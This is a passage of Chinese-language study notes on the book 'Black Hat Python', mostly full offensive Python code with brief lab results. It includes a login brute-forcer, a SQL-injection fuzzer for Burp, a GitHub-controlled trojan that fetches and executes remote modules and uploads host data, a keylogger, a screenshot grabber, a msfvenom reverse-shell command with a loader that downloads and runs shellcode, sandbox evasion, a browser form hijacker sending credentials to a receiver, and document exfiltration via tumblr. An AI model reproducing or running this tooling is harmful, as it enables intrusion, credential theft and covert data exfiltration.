			parser = BruteParser()
			parser.feed(page)

			post_tags = parser.tag_results

			#添加我们的用户名和密码区域
			post_tags[username_field] = self.username
			post_tags[password_field] = brute

			login_data = urllib.urlencode(post_tags)
			login_response = opener.open(target_post,login_data)

			login_result = login_response.read()

			if success_check in login_result:
				self.found = True

				print "[*] Bruteforce successful. "
				print "[*] Username: %s"%self.username
				print "[*] Password: %s"%brute
				print "[*] Waiting for other threads to exit ... "

class BruteParser(HTMLParser):
	"""docstring for BruteParser"""
	def __init__(self):
		HTMLParser.__init__(self)
		self.tag_results = {}

	def handle_starttag(self,tag,attrs):
		if tag == "input":
			tag_name = None
			tag_value = None
			for name,value in attrs:
				if name == "name":
					tag_name = value
				if name == "value":
					tag_value = value
				if tag_name is not None:
					self.tag_results[tag_name] = value

def build_wordlist(wordlist_file):
	
	fd = open(wordlist_file,"rb")
	raw_words = fd.readlines()
	fd.close()

	found_resume = False
	words = Queue.Queue()

	for word in raw_words:
		word = word.rstrip()

		if resume is not None:
			if found_resume:
				words.put(word)
			else:
				if word == resume:
					found_resume = True
					print "Resuming wordlist from: %s"%resume
		else:
			words.put(word)

	return words

words = build_wordlist(wordlist_file)

brute_obj = Bruter(username,words)
brute_obj.run_bruteforce()

这里主要导入cookielib库,调用其FileCookieJar()函数来将cookie值存储在cookies文件中,并通过urllib2库的HTTPCookieProcessor()函数来进行cookie处理再返回给urllib2库的build_opener()函数创建自定义opener对象使之具有支持cookie的功能。

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第30张图片


第六章——扩展Burp代理:

下载jython,在Burpsuite的扩展中配置jython路径:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第31张图片

Burp模糊测试:

#!/usr/bin/python
#coding=utf-8

# 导入三个类,其中IBurpExtender类是编写扩展工具必须的类,后两个是创建Intruder载荷生成器导入的类
from burp import IBurpExtender
from burp import IIntruderPayloadGeneratorFactory
from burp import IIntruderPayloadGenerator

from java.util import List,ArrayList

import random

#自定义BurpExtender类,继承和扩展IBurpExtender和IIntruderPayloadGeneratorFactory类
class BurpExtender(IBurpExtender,IIntruderPayloadGeneratorFactory):
	"""docstring for BurpExtender"""
	def registerExtenderCallbacks(self, callbacks):
		self._callbacks = callbacks
		self._helpers = callbacks.getHelpers()

		 #用registerIntruderPayloadGeneratorFactory函数注册BurpExtender类,这样Intruder才能生成攻击载荷
		callbacks.registerIntruderPayloadGeneratorFactory(self)

		return

	#返回载荷生成器的名称
	def getGeneratorName(self):
		return "BHP Payload Generator"
	
	#接受攻击相关参数,返回IIntruderPayloadGenerator类型的实例
	def createNewInstance(self,attack):
		return BHPFuzzer(self,attack)

# 定义BHPFuzzer类,扩展了IIntruderPayloadGenerator类
# 增加两个变量类max_payload(最大的payload), num_iterations(迭代次数),用于控制模糊测试的次数
class BHPFuzzer(IIntruderPayloadGenerator):
	"""docstring for BHPFuzzer"""
	def __init__(self, extender,attack):
		self._extender = extender
		self._helpers = extender._helpers
		self._attack = attack
		self.max_payloads = 10
		self.num_iterations = 0
		
		return

	#判定是否继续把修改后的请求发送回Burp Intruder,检查模糊测试时迭代的数量是否达到上限
	def hasMorePayloads(self):
		if self.num_iterations == self.max_payloads:
			return False
		else:
			return True

	#接受原始的HTTP负载,current_payload是数组,转化成字符串,传递给模糊测试函数mutate_payload
	def getNextPayload(self,current_payload):
		
		#转换成字符串
		payload = "".join(chr(x) for x in current_payload)

		#调用简单的变形器对POST请求进行模糊测试
		payload = self.mutate_payload(payload)

		#增加FUZZ的次数
		self.num_iterations += 1

		return payload

	#重置num_iterations
	def reset(self):
		self.num_iterations = 0
		return

	def mutate_payload(self,original_payload):
		#仅生成随机数或者调用一个外部脚本
		picker = random.randint(1,3)

		#在载荷中选取一个随机的偏移量去变形
		offset = random.randint(0,len(original_payload)-1)
		payload = original_payload[:offset]

		#在随机偏移位置插入SQL注入尝试
		if picker == 1:
			payload += "'"

		#插入跨站尝试 
		if picker == 2:
			payload += ""

		#随机重复原始载荷
		if picker == 3:
			chunk_length = random.randint(len(payload[offset:]),len(payload)-1)
			repeater = random.randint(1,10)

			for i in range(repeater):
				payload += original_payload[offset:offset+chunk_length]

		#添加载荷中剩余的字节
		payload += original_payload[offset:]

		return payload

配置Burp扩展:
关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第32张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第33张图片

看到前面Loaded的勾打上之后就是没什么问题的了,如果出现问题的话会在error中显示然后再去修改代码。

对http://testphp.vulnweb.com进行测试:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第34张图片

填入“test”后,使用Burpsuite抓到数据包并发送到Intruder中:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第35张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第36张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第37张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第38张图片

配置完之后,点击start attack进行攻击,查看到存在SQL注入:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第39张图片


在Burp中利用Bing服务:

后面测试成功再补上


利用网站内容生成密码字典:

#coding=utf-8
from burp import IBurpExtender
from burp import IContextMenuFactory

from javax.swing import JMenuItem
from java.util import List, ArrayList
from java.net import URL

import re
from datetime import datetime
from HTMLParser import HTMLParser

class TagStripper(HTMLParser):
	"""docstring for TagStripper"""
	def __init__(self):
		HTMLParser.__init__(self)
		self.page_text = []

	def handle_data(self,data):
		self.page_text.append(data)

	def handle_comment(self,data):
		self.handle_data(data)

	def strip(self,html):
		self.feed(html)
		return " ".join(self.page_text)

class BurpExtender(IBurpExtender, IContextMenuFactory):
	"""docstring for BurpExtender"""
	def registerExtenderCallbacks(self,callbacks):
		self._callbacks = callbacks
		self._helpers = callbacks.getHelpers()
		self.context = None
		self.hosts = set()

		#按部就班
		self.wordlist = set(["password"])

		#建立起我们的扩展工具
		callbacks.setExtensionName("BHP Wordlist")
		callbacks.registerContextMenuFactory(self)

		return

	def createMenuItems(self,context_menu):
		self.context = context_menu
		menu_list = ArrayList()
		menu_list.add(JMenuItem("Create Wordlist",actionPerformed=self.wordlist_menu))

		return menu_list

	def wordlist_menu(self,event):
		#抓取用户点击细节
		http_traffic = self.context.getSelectedMessages()

		for traffic in http_traffic:
			http_service = traffic.getHttpService()
			host = http_service.getHost()

			self.hosts.add(host)
			http_response = traffic.getResponse()

			if http_response:
				self.get_words(http_response)

		self.display_wordlist()
		return

	def get_words(self,http_response):
		headers, body = http_response.tostring().split('\r\n\r\n',1)

		#忽略下一个请求
		if headers.lower().find("content-type: text") == -1:
			return

		tag_stripper = TagStripper()
		page_text = tag_stripper.strip(body)

		words = re.findall("[a-zA-Z]\w{2,}",page_text)

		for word in words:
			#过滤长字符串
			if len(word) <= 12:
				self.wordlist.add(word.lower())

		return

	def mangle(self,word):
		year = datetime.now().year
		suffixes = ["","1","!",year]
		mangled = []

		for password in (word,word.capitalize()):
			for suffix in suffixes:
				mangled.append("%s%s"%(password,suffix))

		return mangled

	def display_wordlist(self):
		print "#! comment: BHP Wordlist for site(s) %s"%", ".join(self.hosts)

		for word in sorted(self.wordlist):
			for password in self.mangle(word):
				print password

		return

先和之前的一样在Burp的Extender中添加扩展,然后访问http://testphp.vulnweb.com,在Burp的Target中选中该URL并右键点击爬取该主机,具体操作看图吧:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第40张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第41张图片

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第42张图片

可以看到生成的字典内容,当然这里是选择在输出栏输出,也可以让输出保存成文件。



第七章——基于GitHub的命令和控制

GitHub账号设置:

这部分按书上来敲命令即可,当然首先要注册一个GitHub账号还有之前安装的GitHub API库(pip install github3.py),这里就只列一下命令吧:

mkdir trojan

cd trojan

git init

mkdir modules

mkdir config

mkdir data

touch modules/.gitignore

touch config/.gitignore

touch data/.gitignore

git add .

git commit -m "Adding repo structure for trojan."

git remote add origin https://github.com/<你的GitHub用户名>/chapter7.git

git push origin master

上面的代码为将要用到的repository创建了最原始的框架,其中包括三个目录modules、config和data,分别用来包含木马被控端所要下载和执行的所有模块代码、保存包含对应的每个木马被控端的配置文件和保存木马上传的数据、键盘记录、屏幕快照等资料。


创建模块:

这两个脚本在modules目录下创建。

dirlist.py:

import os

def run(**args):
	
	print "[*] In dirlister module. "
	files = os.listdir(".")

	return str(files)

environment.py:

import os

def run(**args):
	print "[*] In environment module. "
	return str(os.environ)

都创建完成后,在项目的主目录中通过下面命令将其推送上去:

git add .

git commit -m "Adding new modules"

git push origin master

其中需要输入账号密码,输入之后即可看到上传成功。


木马配置:

进入config目录,新建abc.json:

[
	{
	"module" : "dirlister"
	},
	{
	"module" : "environment"
	}
]

推送代码上去GitHub:

git add .

git commit -m "Adding simple config."

git push origin master


编写基于GitHub通信的木马:

这部分代码和下一部分的放一起。

Python模块导入功能的破解:

#!/usr/bin/python
#coding=utf-8

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login

trojan_id = "abc"

trojan_config = "%s.json"%trojan_id
data_path = "data/%s/"%trojan_id
trojan_modules = []
configured = False
task_queue = Queue.Queue()

def connect_to_github():
	gh = login(username="你的GitHub用户名",password="密码")
	repo = gh.repository("你的GitHub用户名","chapter7")
	branch = repo.branch("master")

	return gh,repo,branch

def get_file_contents(filepath):
	gh,repo,branch = connect_to_github()
	tree = branch.commit.commit.tree.recurse()

	for filename in tree.tree:
		if filepath in filename.path:
			print "[*] Found file %s"%filepath
			blob = repo.blob(filename._json_data['sha'])
			return blob.content

	return None

def get_trojan_config():
	global configured
	config_json = get_file_contents(trojan_config)
	config = json.loads(base64.b64decode(config_json))
	configured = True

	for task in config:
		if task['module'] not in sys.modules:
			exec("import %s"%task['module'])

	return config

def store_module_result(data):
	gh,repo,branch = connect_to_github()
	remote_path = "data/%s/%d.data"%(trojan_id,random.randint(1000,100000))
	repo.create_file(remote_path,"Commit message",base64.b64encode(data))
	return

class GitImporter(object):
	"""docstring for GitImporter"""
	def __init__(self):
		self.current_module_code = ""

	def find_module(self,fullname,path=None):
		if configured:
			print "[*] Attempting to retrieve %s"%fullname
			new_library = get_file_contents("modules/%s"%fullname)

			if new_library is not None:
				self.current_module_code = base64.b64decode(new_library)
				return self

		return None

	def load_module(self,name):
		module = imp.new_module(name)
		exec self.current_module_code in module.__dict__
		sys.modules[name] = module

		return module
		
def module_runner(module):
	task_queue.put(1)
	result = sys.modules[module].run()
	task_queue.get()

	#保存结果到我们的repo中
	store_module_result(result)

	return

#木马的主循环
sys.meta_path = [GitImporter()]

while True:
	if task_queue.empty():
		config = get_trojan_config()
	for task in config:
		t = threading.Thread(target=module_runner,args=(task['module'],))
		t.start()
		time.sleep(random.randint(1,10))

	time.sleep(random.randint(1000,10000))

先来运行该脚本:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第43张图片

可以看到,没问题,该木马连接到repository中了,获取配置文件,下载了配置文件中的两个模块并运行。

再到项目主目录下输入:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第44张图片

木马在运行两个模块之后成功上传了结果。

接着到GitHub上看看吧:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第45张图片

确实多了两个文件,分别打开看看,会发现是经过base64编码的,然后使用Firefox的HackBar解码即可:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第46张图片

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第47张图片

第一个文件很明显是环境变量的相关信息,在命令行输入env命令来对比输出结果,发现是一样的:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第48张图片


第八章——Windows下木马的常用功能

有趣的键盘记录:

安装pyHook:

http://nchc.dl.sourceforge.net/project/pyhook/pyhook/1.5.1/pyHook-1.5.1.win32-py2.7.exe

安装pythoncom:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

若上述两个包安装没问题的话调用猜测的结果是这样的:


因为上述两个包仅支持Python2.7的32位,所以就在32位Windows系统上进行测试。

#!/usr/bin/python
#coding=utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None

def get_current_process():
	#获得前台窗口的句柄
	hwnd = user32.GetForegroundWindow()

	#获得进程ID
	pid = c_ulong(0)
	user32.GetWindowThreadProcessId(hwnd,byref(pid))

	#保存当前的进程ID
	process_id = "%d"%pid.value

	#申请内存
	executable = create_string_buffer("\x00"*512)

	h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)

	psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)

	#读取窗口标题
	window_title = create_string_buffer("\x00"*512)
	length = user32.GetWindowTextA(hwnd,byref(window_title),512)

	#输出进程相关的信息
	print
	print "[ PID: %s - %s - %s ]"%(process_id,executable.value,window_title.value)
	print

	#关闭句柄
	kernel32.CloseHandle(hwnd)
	kernel32.CloseHandle(h_process)

def KeyStroke(event):
	global current_window

	#检测目标是否切换了窗口
	if event.WindowName != current_window:
		current_window = event.WindowName
		get_current_process()

	#检测按键是否为常规按键(非组合键等)
	if event.Ascii > 32 and event.Ascii <127:
		print chr(event.Ascii)
	else:
		#如果是输入为[Ctrl-V],则获得剪切板的内容
		if event.Key == "V":
			win32clipboard.OpenClipboard()
			pasted_value = win32clipboard.GetClipboardData()
			win32clipboard.CloseClipboard()

			print "[PASTE] - %s"%(pasted_value),
		else:
			print "[%s]"%event.Key,

	#返回直到下一个钩子事件被触发
	return True

#创建和注册钩子函数管理器
k1 = pyHook.HookManager()
k1.KeyDown = KeyStroke

#注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()

在32位XP上运行脚本,然后创建一个名为a.txt的文件,输入“This is XP!”之后换行,将其复制再粘贴一遍,结果如图:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第49张图片

结果可知,[Return]为换车,下面的两个标出来的分别为复制和粘贴。

当然,在32位win7上运行也是没有问题的:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第50张图片


截取屏幕快照:

#coding=utf-8
import win32gui
import win32ui
import win32con
import win32api

#获得桌面窗口的句柄
hdesktop = win32gui.GetDesktopWindow()

#获得所有显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

#创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

#创建基于内存的设备描述表
mem_dc = img_dc.CreateCompatibleDC()

#创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc,width,height)
mem_dc.SelectObject(screenshot)

#复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0),(width,height),img_dc,(left,top),win32con.SRCCOPY)

#将位图保存到文件
screenshot.SaveBitmapFile(mem_dc,'C:\\Python27\\screenshot.bmp')

#释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

也是在32位XP上测试,运行后可以看到生成了一个bmp文件:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第51张图片

打开看该文件,可以看到是运行时截的全屏:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第52张图片

同样win7也可行:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第53张图片


Python方式的shellcode执行:

先在Kali Linux中生成32位Windows的后门shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.160 LPORT=1234 -f raw -o win_backdoor.raw 

该命令的具体参数在《关于Metasploit的学习笔记(二)》中具体说过就不多说了。

生成结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第54张图片

接着开启Metasploit进行监听反弹的shell,具体步骤也不多说了在之前的文章有。

然后通过以下命令,将shellcode进行base64编码并利用SimpleHTTPServer模块将/tmp目录作为Web服务根目录并建立Web服务器:

base64 -i win_backdoor.raw > shellcode.bin

python -m SimpleHTTPServer

最后,到XP端运行一下代码即可:

#coding=utf-8
import urllib2
import ctypes
import base64

#从我们的Web服务器上下载shellcode
url = "http://10.10.10.160:8000/shellcode.bin"
response = urllib2.urlopen(url)

#base64解码shellcode
shellcode = base64.b64decode(response.read())

#申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode,len(shellcode))

#创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer,ctypes.CFUNCTYPE(ctypes.c_void_p))

#执行shellcode
shellcode_func()

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第55张图片

脚本一直没有运行结束,到Kali中查看:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第56张图片

可以看到,简单模拟的Web服务器收到了来自XP(10.10.10.123)的连接请求,并下载了该shellcode到本地执行,那么就来查看Metasploit窗口:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第57张图片

可以看到,shellcode执行成功,后门文件成功执行,得到了XP的shell。


沙盒检测:

百度搜的:沙盒原理,即sandbox,是一种类似于影 子系统的,比带有宿主的虚拟机更深层的系统内核级技术。它可以接管病毒调用接口或函数的行为。并会在确认病毒行为后实行回滚机制,让系统复原。用于为一些来源不可信、具备破坏力或无法判定程序意图的程序提供试验环境。其原理是通过重定向技术,把程序生成和修改的文件定向到自身文件夹中。当某个程序试图发挥作用时,安全软件可以先让它在沙盒中运行,如果含有恶意行为,则禁止程序的进一步运行,而这不会对系统造成任何危害。

该脚本是用于检测运行的环境是否是沙盒,通过监视目标主机最近的用户输入,包括键盘输入和鼠标点击,尝试判断沙盒的管理者是否在重复发送输入信号,对用户与机器最后交互的时间与机器已经开机运行的时间进行对比从而判断是否在沙盒内部运行。

#coding=utf-8
import ctypes
import random
import time
import sys

user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32

keystrokes = 0
mouse_clicks = 0
double_clicks = 0

class LASTINPUTINFO(ctypes.Structure):
	"""docstring for LASTINPUTINFO"""
	_fields_ = [
		("cbSize",ctypes.c_unit),
		("dwTime",ctypes.c_ulong)
	]
		
def get_last_input():
	struct_lastinputinfo = LASTINPUTINFO()
	struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)

	#获得用户最后输入的相关信息
	user32.GetLastInputInfo(ctypes.byref(struct_lastinputinfo))

	#获得机器运行的时间
	run_time = kernel32.GetTickCount()

	elapsed = run_time - struct_lastinputinfo.dwTime

	print "[*] It's been %d milliseconds since the last input event."%elapsed

	return elapsed

	'''
	测试后删除下面的代码!
	while True:
		get_last_input()
		time.sleep(1)
	'''

def get_key_press():
	global mouse_clicks
	global keystrokes

	for i in range(0,0xff):
		if user32.GetAsyncKeyState(i) == -32767:
			#左键点击为0x1
			if i == 0x1:
				mouse_clicks += 1
				return time.time()
			elif i > 32 and i < 127:
				keystrokes += 1

	return None

def detect_sandbox():
	global mouse_clicks
	global keystrokes

	max_keystrokes = random.randint(10,25)
	max_mouse_clicks = random.randint(5,25)

	double_clicks = 0
	max_double_clicks = 10
	double_click_threshold = 0.250 #秒为单位
	first_double_click = None

	average_mousetime = 0
	max_input_threshold = 30000 #毫秒为单位

	previous_timestamp = None
	detection_complete = False

	last_input = get_last_input()

	#超过设定的阈值时强制退出
	if last_input >= max_input_threshold:
		sys.exit(0)

	while not detection_complete:
		keypress_time = get_key_press()

		if keypress_time is not None and previous_timestamp is not None:
			#计算两次点击间隔的时间
			elapsed = keypress_time - previous_timestamp

			#间隔时间短的话,则为用户双击
			if elapsed <= double_click_threshold:
				double_clicks += 1

				if first_double_click is None:
					#获取第一次双击时的时间
					first_double_click =time.time()
				else:
					if double_clicks == max_double_clicks:
						if keypress_time - first_double_click <= (max_double_clicks*double_click_threshold):
							sys.exit(0)

			#用户的输入次数达到设定的条件
			if keystrokes >= max_keystrokes and double_clicks >= max_double_clicks and mouse_clicks >= max_mouse_clicks:
				return
			previous_timestamp = keypress_time

		elif keypress_time is not None:
			previous_timestamp = keypress_time

detect_sandbox()
print "We are OK!"

由于没有搭建沙盒环境所以就没有进行测试。


第九章——玩转浏览器

基于浏览器的中间人攻击:

#coding=utf-8
import win32com.client
import time
import urlparse
import urllib

data_receiver = "http://localhost:8080/"

target_sites = {}
target_sites["www.facebook.com"] = {
	"logout_url" : None,
	"logout_form" : "logout_form",
	"login_form_index" : 0,
	"owned" : False
}

#IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

windows = win32com.client.Dispatch(clsid)

while True:
	for browser in windows:
		url = urlparse.urlparse(browser.LocationUrl)
		if url.hostname in target_sites:
			if target_sites[url.hostname]["owned"]:
				continue
			#如果有一个URL,我们可以重定向
			if target_sites[url.hostname]["logout_url"]:
				browser.Navigate(target_sites[url.hostname]["logout_url"])
				wait_for_browser(browser)
			else:
				#检索文件中的所有元素
				full_doc = browser.Document.all
				#
				for i in full_doc:
					try:
						#找到退出登录的表单并提交
						if i.id == target_sites[url.hostname]["logout_url"]:
							i.submit()
							wait_for_browser(browser)
					except:
						pass

			#现在来修改登录表单
			try:
				login_index = target_sites[url.hostname]["login_form_index"]
				login_page = urllib.quote(browser.LocationUrl)
				browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)
				target_sites[url.hostname]["owned"] = True
			except:
				pass
	time.sleep(5)

def wait_for_browser(browser):
	#等待浏览器加载完一个页面
	while browser.ReadyState != 4 and browser.ReadyState != "complete":
		time.sleep(0.1)

	return

代码中只对Facebook的网站进行尝试,之前还添加了虚拟机中的网站DVWA进行尝试,和下一小节的代码一块运行测试。

创建接收服务器:

import SimpleHTTPServer
import SocketServer
import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
	"""docstring for CredRequestHandler"""
	def do_POST(self):
		content_length = int(self.headers['Content-Length'])
		creds = self.rfile.read(content_length).decode('utf-8')
		print creds
		site = self.path[1:]
		self.send_response(301)
		self.send_headers('Location',urllib.unquote(site))
		self.end_headers()

server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

在win7上在不同窗口分别运行上述两个脚本。

运行结果:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第58张图片

可以看到访问其它网站时很多是访问不成功的,而且存在一个问题就是,IE浏览器的设置代理端口只能设置一个,但要访问Facebook的话需要设置一个代理端口用于FQ,但是这个脚本也是需要设置代理端口实现监听,因而这里没办法实现到书上的效果,希望知道的大神可以指导指导~

利用IE的COM组件自动化技术窃取数据:

下载PyCrypto库:http://www.voidspace.org.uk/python/modules.shtml#pycrypto/

keygen.py:

#!/usr/bin/python
from Crypto.PublicKey import RSA

new_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")

print public_key
print private_key

这段代码用来简单快速地生成RSA公私钥并将其输出。

运行该脚本,分别生成一个公钥和私钥,将它们保存下来以便后面的使用:

关于《Python黑帽子:黑客与渗透测试编程之道》的学习笔记_第59张图片

decrypto.py:

#coding=utf-8
import zlib
import base64
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

private_key = "MIIEowIBAAKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQABAoIBADmfYUUXUBq8QF7akLMxfcmwpR4nANU8+9kJWoQCze2vSLYNyS/pDUd6rNyhedjqooJDioR28C80rqTET5YKJCWVYcMhKWa7nDueOaFb3YgXqP8ALR71nvDiGMKTlMuuSPS3HC8L1XqWNyZdr/I5XCMdnqzchtGiX80vyXA6yGviO6cVYLO3Rmgn6AbHyhM6apkdGS7zusgYQbxC7R8PnCZiH+pgLyQuC8boHeUCZW3bdLJ5pRkOw+DpeYNL0yZyvKBicKnX85N+o8+yqO56xdVgPxxUEhFJELCr5TYoQW8D9nN8EWqDgEhDfnOA7T/W06dCFQ9xlCqVGiPdTARBTjkCgYEAz84NmYV+Ww5qsfYOrk42OCkAj63p0TxEpY/9Q/Z9axyFGifi+NO7MZOe4ZgVQTtVv27RRAgbAvDLML4LxPVoWZ8Da6cgxSx11zqawv/bcb2g4qEQi4VQ6Wipa50MMTN7ez1gBZku+HDqIvDDUWQoWHsD0kfqGsOLtM4W4BA0pk0CgYEA1Thm5vVZEqHkQufcBu0ZBv7+qnkHRAv1W2QgOrcQuA1XzFHNVaXO5Y2icCtXZQwcoCemznOuvueC+i20dPKVekFlRwtTgj8yAu26r54FIfxIduowcv1i5tcbQottM6n8YEhub4ALs4O8z6yIifQ6sLSJSmmygjOzPb9qSfBwxU8CgYB+MD037cWWG8IUwTuXA22PWu65UT28TmHNPAvq2mK8yXvWL0R4H3L8Hw2LJqQ5kYN3lR7EtjtY5MoulilleDTev13/YGTY9y+z/CWApogmoKVzGaWHY/SHWIQREjQWKJIie1m07JmGSmMTxqqE4VJSsJjYd80kZXyP1do0RAMEvQKBgQCIdXNuBsG96fxjUW6AxEdLMfEcex7KTvj1R4xU54p8sJVrP0MxuE9EnLPEJAjns6uyWA4qfODubs5lfNDMM+C0gJvnrvkAF5/TPgBHmtNgH8zkxhbB0Sb1498fZIo8EWNi35hGJeXXOs2g/6PW3oadRr3C8Qh8ycfCEfpdXdNegwKBgDsOPlzZBw6D02haTMoeIF+RHESM5ZpWQJm2r+ct7P/1K7XLmFKhN8ZrCEKYysstHWwD4AvgGoWW2F3fJxdkewRkLA5zjRkJXR+NmC8hRjPSzIsmV8LRKLmxDnMGoR5YR5lAXhnuwHUBOf02wJH+IW8EJMkDfrr3r66M/gnw5H24"

rsakey = RSA.importKey(private_key)
rsakey = PKCS1_OAEP.new(rsakey)

chunk_size = 256
offset = 0
decrypted = ""
encrypted = base64.b64decode(encrypted)

while offset < len(encrypted):
	decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])
	offset += chunk_size

#解压负载
plaintext = zlib.decompress(decrypted)

print plaintext

这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。

ie_exfil.py:

#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

doc_type = ".doc"
username = "[email protected]"
password = "justinBHP2014"

public_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQAB"

def wait_for_browser(browser):
	#等待浏览器加载完一个页面
	while browser.ReadyState != 4 and browser.ReadyState != "complete":
		time.sleep(0.1)

	return

def encrypt_string(plaintext):
	chunk_size = 256
	print "Compressing: %d bytes"%len(plaintext)
	plaintext = zlib.compress(plaintext)

	print "Encrypting %d bytes"%len(plaintext)

	rsakey = RSA.importKey(public_key)
	rsakey = PKCS1_OAEP.new(rsakey)

	encrypted = ""
	offset = 0

	while offset < len(plaintext):
		chunk = plaintext[offset:offset+chunk_size]

		if len(chunk) % chunk_size != 0:
			chunk += " " * (chunk_size - len(chunk))

		encrypted += rsakey.encrypt(chunk)
		offset += chunk_size

	encrypted = encrypted.encode("base64")

	print "Base64 encoded crypto: %d"%len(encrypted)

	return encrypted

def encrypt_post(filename):
	#打开并读取文件
	fd = open(filename,"rb")
	contents = fd.read()
	fd.close()

	encrypted_title = encrypt_string(filename)
	encrypted_body = encrypt_string(contents)

	return encrypted_title,encrypted_body

def random_sleep():
	time.sleep(random.randint(5,10))
	return

def login_to_tumblr(ie):
	#解析文档中的所有元素
	full_doc = ie.Document.all

	#迭代每个元素来查找登录表单
	for i in full_doc:
		if i.id == "signup_email":
			i.setAttribute("value",username)
		elif i.id == "signup_password":
			i.setAttribute("value",password)

	random_sleep()

	try:
		#你会遇到不同的登陆主页
		if  ie.Document.forms[0].id == "signup_form":
			ie.Document.forms[0].submit()
		else:
			ie.Document.forms[1].submit()
	except IndexError, e:
		pass

	random_sleep()

	#登陆表单是登录页面中的第二个表单
	wait_for_browser(ie)

	return

def post_to_tumblr(ie,title,post):
	full_doc = ie.Document.all

	for i in full_doc:
		if i.id == "post_one":
			i.setAttribute("value",title)
			title_box = i
			i.focus()
		elif i.id == "post_two":
			i.setAttribute("innerHTML",post)
			print "Set text area"
			i.focus()
		elif i.id == "create_post":
			print "Found post button"
			post_form = i
			i.focus()

